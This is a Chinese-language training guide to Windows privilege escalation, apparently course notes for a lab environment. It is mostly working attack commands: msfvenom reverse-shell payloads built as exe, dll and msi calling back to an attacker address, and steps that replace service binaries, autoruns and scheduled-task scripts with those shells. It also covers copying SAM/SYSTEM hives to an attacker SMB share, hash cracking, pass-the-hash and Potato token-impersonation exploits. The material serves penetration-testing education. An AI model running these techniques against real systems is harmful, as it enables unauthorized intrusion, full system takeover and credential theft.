目录
-
[Windows 权限基础](#Windows 权限基础)
-
[生成管理员 Shell](#生成管理员 Shell)
-
[Potato 系列漏洞利用](#Potato 系列漏洞利用)
-
[GetSystem 原理](#GetSystem 原理)
一、课程概述与环境搭建
1.1 课程目标
本课程重点介绍 Windows 中的权限提升技术,你将学到:
-
Windows 中基本用户权限的工作原理
-
多种提升用户权限的方法
-
这些方法为何有效以及如何运作
-
可用于识别潜在提升路径的工具
1.2 实验环境
Windows 10 虚拟机
-
用户名:
IEUser,密码:Passw0rd! -
安装完成后启用 SMBv1:
Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All
Kali SMB 服务器
# Python3
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
# Python2
python /usr/share/doc/python-impacket/examples/smbserver.py tools
设置脚本
运行 setup.bat 后重启,使用 admin 账户自动登录,或手动以 user / password321 登录。存在可写目录 C:\PrivEsc 供复制工具。
二、Windows 权限基础
2.1 通用概念
权限提升的最终目标是获得以 Administrator 或 SYSTEM 身份运行的 shell。
所有权限提升本质上都是访问控制违规的示例。
2.2 用户账户类型
| 类型 | 说明 |
|---|---|
| 用户账户 | 用于登录系统,绑定唯一身份的一组设置/偏好 |
| 服务账户 | 用于运行服务,不能登录系统。SYSTEM 是默认服务账户,拥有最高权限 |
| 组 | 用户可属于多个组,组可包含多个用户,方便进行访问控制 |
2.3 资源与 ACL
Windows 中的资源(对象)包括:
-
文件/目录
-
注册表项
-
服务
ACL(访问控制列表) 由多个 ACE(访问控制项) 组成,每个 ACE 定义了主体(用户/组)与特定访问权限之间的关系。
三、生成管理员 Shell
3.1 使用 msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe
使用 netcat 或 Metasploit 的 multi/handler 接收反向 shell。
3.2 使用 RDP
如果 RDP 可用,将低权限用户加入 administrators 组:
net localgroup administrators <username> /add
3.3 Admin → SYSTEM
使用 Sysinternals 的 PsExec:
.\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
四、权限提升工具
4.1 PowerUp
# 加载脚本
. .\PowerUp.ps1
# 运行所有检查
Invoke-AllChecks
4.2 SharpUp
.\SharpUp.exe
4.3 Seatbelt
# 运行所有检查
.\Seatbelt.exe all
# 运行特定检查
.\Seatbelt.exe <check>
4.4 winPEAS
# 添加注册表项启用颜色输出
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
# 运行所有检查(快速模式)
.\winPEASany.exe quiet cmd fast
# 运行特定类别
.\winPEASany.exe quiet cmd systeminfo
4.5 AccessChk
# 检查用户访问控制权限(旧版本支持 /accepteula)
.\accesschk.exe /accepteula -uwcqv user <servicename>
五、内核漏洞利用
5.1 基本原理
内核是操作系统核心,完全控制系统。利用内核漏洞可导致以 SYSTEM 执行代码。
5.2 利用步骤
-
枚举 Windows 版本/补丁级别:
systeminfo -
查找匹配的漏洞利用(Google、ExploitDB、GitHub)
-
编译并运行
⚠️ 注意:内核漏洞利用通常不稳定,可能导致系统崩溃。
5.3 相关工具
| 工具 | 链接 |
|---|---|
| Windows Exploit Suggester | https://github.com/bitsadmin/wesng |
| 预编译内核漏洞利用 | https://github.com/SecWiki/windows-kernel-exploits |
| Watson | 用于漏洞检测 |
5.4 实战示例(Windows 7)
# 1. 提取 systeminfo 输出
systeminfo > systeminfo.txt
# 2. 使用 wesng 查找漏洞
python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
# 3. 下载并运行漏洞利用(以 CVE-2018-8120 为例)
# 在 Kali 启动监听器后运行:
CVE-2018-8120-x64.exe
六、服务漏洞利用
6.1 服务相关命令
# 查询服务配置
sc.exe qc <name>
# 查询服务状态
sc.exe query <name>
# 修改服务配置
sc.exe config <name> <option>=<value>
# 启动/停止服务
net start/stop <name>
6.2 不安全的服务权限
如果用户有权限更改以 SYSTEM 运行的服务配置,可将服务可执行文件替换为自己的。
实战步骤:
# 1. 检查服务错误配置
.\winPEASany.exe quiet servicesinfo
# 2. 使用 accesschk 确认权限
.\accesschk.exe /accepteula -uwcqv user daclsvc
# 3. 检查服务当前配置
sc qc daclsvc
# 4. 检查服务状态
sc query daclsvc
# 5. 重新配置服务
sc config daclsvc binpath= "C:\PrivEsc\reverse.exe"
# 6. 启动服务触发漏洞
net start daclsvc
6.3 未加引号的服务路径
当服务路径包含空格且未加引号时,Windows 会按顺序解析可执行文件。
示例:
路径 C:\Program Files\Unquoted Path Service\Common Files\service.exe
Windows 会依次尝试:
-
C:\Program.exe -
C:\Program Files\Unquoted.exe -
C:\Program Files\Unquoted Path\service.exe
实战步骤:
# 1. 检查未加引号路径
.\winPEASany.exe quiet servicesinfo
sc qc unquotedsvc
# 2. 检查写入权限
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
# 3. 复制反向 shell 并适当重命名
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
# 4. 启动服务
net start unquotedsvc
6.4 弱注册表权限
注册表项的 ACL 配置错误时,即使无法直接修改服务,也可能通过修改注册表来更改服务配置。
实战步骤:
# 1. 检查弱注册表权限
.\winPEASany.exe quiet servicesinfo
# 2. 使用 PowerShell 确认
Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
# 或 accesschk
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
# 3. 覆盖 ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
# 4. 启动服务
net start regsvc
6.5 不安全的服务可执行文件
如果服务可执行文件可被修改,直接替换即可。
# 1. 检查文件权限
.\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
# 2. 备份原文件
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
# 3. 替换为反向 shell
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
# 4. 启动服务
net start filepermsvc
6.6 DLL 劫持
服务加载 DLL 时,如果搜索路径中的某个目录可写,可以放置恶意 DLL。
实战步骤:
# 1. 枚举非 Windows 服务
.\winPEASany.exe quiet servicesinfo
# 2. 检查启动/停止权限
.\accesschk.exe /accepteula -uvqc user dllsvc
# 3. 使用 Procmon 分析缺失的 DLL
# - 以管理员运行 Procmon64.exe
# - Ctrl+L 打开过滤器,添加进程名 dllhijackservice.exe
# - 取消选择注册表和网络活动
# - 启动服务:net start dllsvc
# - 观察 NAME NOT FOUND 的 DLL 路径
# 4. 生成恶意 DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
# 5. 放入可写目录,重启服务
net stop dllsvc
net start dllsvc
七、注册表利用
7.1 自动运行程序
Windows 启动时以提升权限运行的命令,配置在注册表中。
# 枚举自动运行
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# 检查可写权限
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
利用步骤:
# 1. 备份原文件
copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
# 2. 替换为反向 shell
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
# 3. 重启系统触发(Windows 10 上以最后登录用户权限运行)
7.2 AlwaysInstallElevated
MSI 安装程序可以以提升权限运行。需要两个注册表值同时启用:
-
本机:
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer -
当前用户:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
# 检查注册表值
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 生成 MSI 反向 shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
# 执行
msiexec /quiet /qn /i reverse.msi
八、密码与凭据
8.1 注册表中搜索密码
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
8.2 保存的凭据
# 查看保存的凭据
cmdkey /list
# 使用保存凭据运行命令
runas /savecred /user:admin C:\PrivEsc\reverse.exe
8.3 配置文件
# 搜索包含密码的文件
dir /s *pass* ==
findstr /si password *.xml *.ini *.txt
Unattend.xml 示例:
找到 Base64 编码的密码:cGFzc3dvcmQxMjM=
echo "cGFzc3dvcmQxMjM=" | base64 -d
# 输出: password123
8.4 SAM 文件提取哈希
SAM 和 SYSTEM 文件位于 C:\Windows\System32\config,备份可能在 C:\Windows\Repair 或 C:\Windows\System32\config\RegBack。
# 复制文件到 Kali
copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\
# 提取哈希
git clone https://github.com/Neohapsis/creddump7.git
python2 creddump7/pwdump.py SYSTEM SAM
# 破解哈希
hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da
8.5 传递哈希(Pass-the-Hash)
# 使用哈希生成命令提示符
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd
# SYSTEM 级别
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd
九、计划任务与启动项
9.1 计划任务
# 列出所有计划任务
schtasks /query /fo LIST /v
# PowerShell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
实战示例:
发现 C:\DevTools\CleanUp.ps1 每分钟以 SYSTEM 运行,且当前用户可写:
# 1. 备份脚本
copy C:\DevTools\CleanUp.ps1 C:\Temp\
# 2. 追加反向 shell 调用
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
# 3. 等待计划任务运行(约1分钟)
9.2 不安全的 GUI 应用程序
某些 Windows 版本允许用户以管理员权限运行 GUI 应用程序,可通过应用内部功能生成命令提示符。
画图示例:
-
以
user登录,打开AdminPaint -
确认
mspaint.exe以管理员运行:tasklist /V | findstr mspaint -
在画图中点击 文件 → 打开
-
在导航栏输入:
file://c:/windows/system32/cmd.exe -
回车,获得管理员命令提示符
9.3 启动应用程序
所有用户的启动目录:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
创建快捷方式脚本(CreateShortcut.vbs):
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
# 检查启动目录权限
.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
# 运行脚本创建快捷方式
cscript CreateShortcut.vbs
十、Potato 系列漏洞利用
10.1 Hot Potato
利用欺骗攻击和 NTLM 中继获取 SYSTEM 权限,适用于 Windows 7、8、早期 Windows 10。
.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
10.2 令牌模拟基础
服务账户通常配置有:
-
SeImpersonatePrivilege -
SeAssignPrimaryTokenPrivilege
允许模拟其他用户(包括 SYSTEM)的访问令牌。
10.3 Juicy Potato
# 1. 使用 PSExec 触发 Local Service 反向 shell
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
# 2. 运行 JuicyPotato 获取 SYSTEM
C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
CLSID 列表:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
10.4 Rogue Potato
# Kali 上设置 socat 重定向器
sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
# 触发 Local Service shell 后运行
C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 -l 9999 -e C:\PrivEsc\reverse.exe
10.5 PrintSpoofer
# 触发 Local Service shell 后运行
C:\PrivEsc\PrintSpoofer.exe -i -c C:\PrivEsc\reverse.exe
十一、端口转发
使用 plink.exe(PuTTY 套件)将 Kali 端口转发到 Windows 内部端口。
plink.exe <user>@<kali> -R <kaliport>:<target-IP>:<target-port>
实战示例:
# 1. 将 Kali 445 端口转发到 Windows 本地 445
plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
# 2. Kali 上通过 localhost 连接
winexe -U 'admin%password123' //localhost cmd
十二、GetSystem 原理
Metasploit Meterpreter 的 getsystem 命令使用三种技术:
12.1 命名管道模拟(内存中/管理员)
-
创建 Meterpreter 控制的命名管道
-
创建以 SYSTEM 运行的服务,该服务与命名管道交互
-
Meterpreter 模拟连接进程,获取 SYSTEM 模拟令牌
-
令牌分配给后续 Meterpreter 线程
12.2 命名管道模拟(投放器/管理员)
与上类似,但将 DLL 写入磁盘并创建服务运行该 DLL。
12.3 令牌复制(内存中/管理员)
需要 SeDebugPrivilege,找到 SYSTEM 服务并注入 DLL 复制其访问令牌。目前仅支持 x86。
getsystem设计用于本地管理员 → SYSTEM,不应视为普通用户 → 管理员的提权方法。
十三、用户权限滥用
13.1 查看当前权限
whoami /priv
13.2 关键权限
| 权限 | 说明 |
|---|---|
SeImpersonatePrivilege |
模拟任何访问令牌,可被 Juicy Potato 利用 |
SeAssignPrimaryPrivilege |
将访问令牌分配给新进程 |
SeBackupPrivilege |
绕过 ACL 读取所有对象,可提取注册表哈希 |
SeRestorePrivilege |
绕过 ACL 写入所有对象,可修改服务/DLL/注册表 |
SeTakeOwnershipPrivilege |
取得对象所有权,进而修改 ACL |
SeDebugPrivilege |
调试进程,getsystem 的令牌复制技术使用 |
SeLoadDriverPrivilege |
加载驱动程序 |
SeCreateTokenPrivilege |
创建令牌 |
SeTcbPrivilege |
作为操作系统的一部分运行 |
十四、权限提升策略总结
14.1 枚举 checklist
-
检查用户和组:
whoami、net user <username> -
运行 winPEAS:
winPEASany.exe quiet cmd fast -
运行 Seatbelt 和其他脚本
-
如果脚本失败,使用手动命令或在线备忘单
14.2 利用策略
-
先尝试简单方法:注册表漏洞、服务错误配置等
-
查看管理员进程:枚举版本,搜索漏洞利用
-
检查内部端口:能否转发到攻击机器
-
重新阅读枚举输出:高亮任何异常(陌生进程、文件名、用户名)
-
最后考虑内核漏洞利用
14.3 注意事项
-
始终理解工具在做什么
-
创建备份后再修改系统文件
-
权限提升往往复杂,可能需要结合多种错误配置
-
在有考试等时间限制的环境中,自动化工具是无价之宝
免责声明:本文仅供安全研究和授权渗透测试使用,请勿用于非法用途。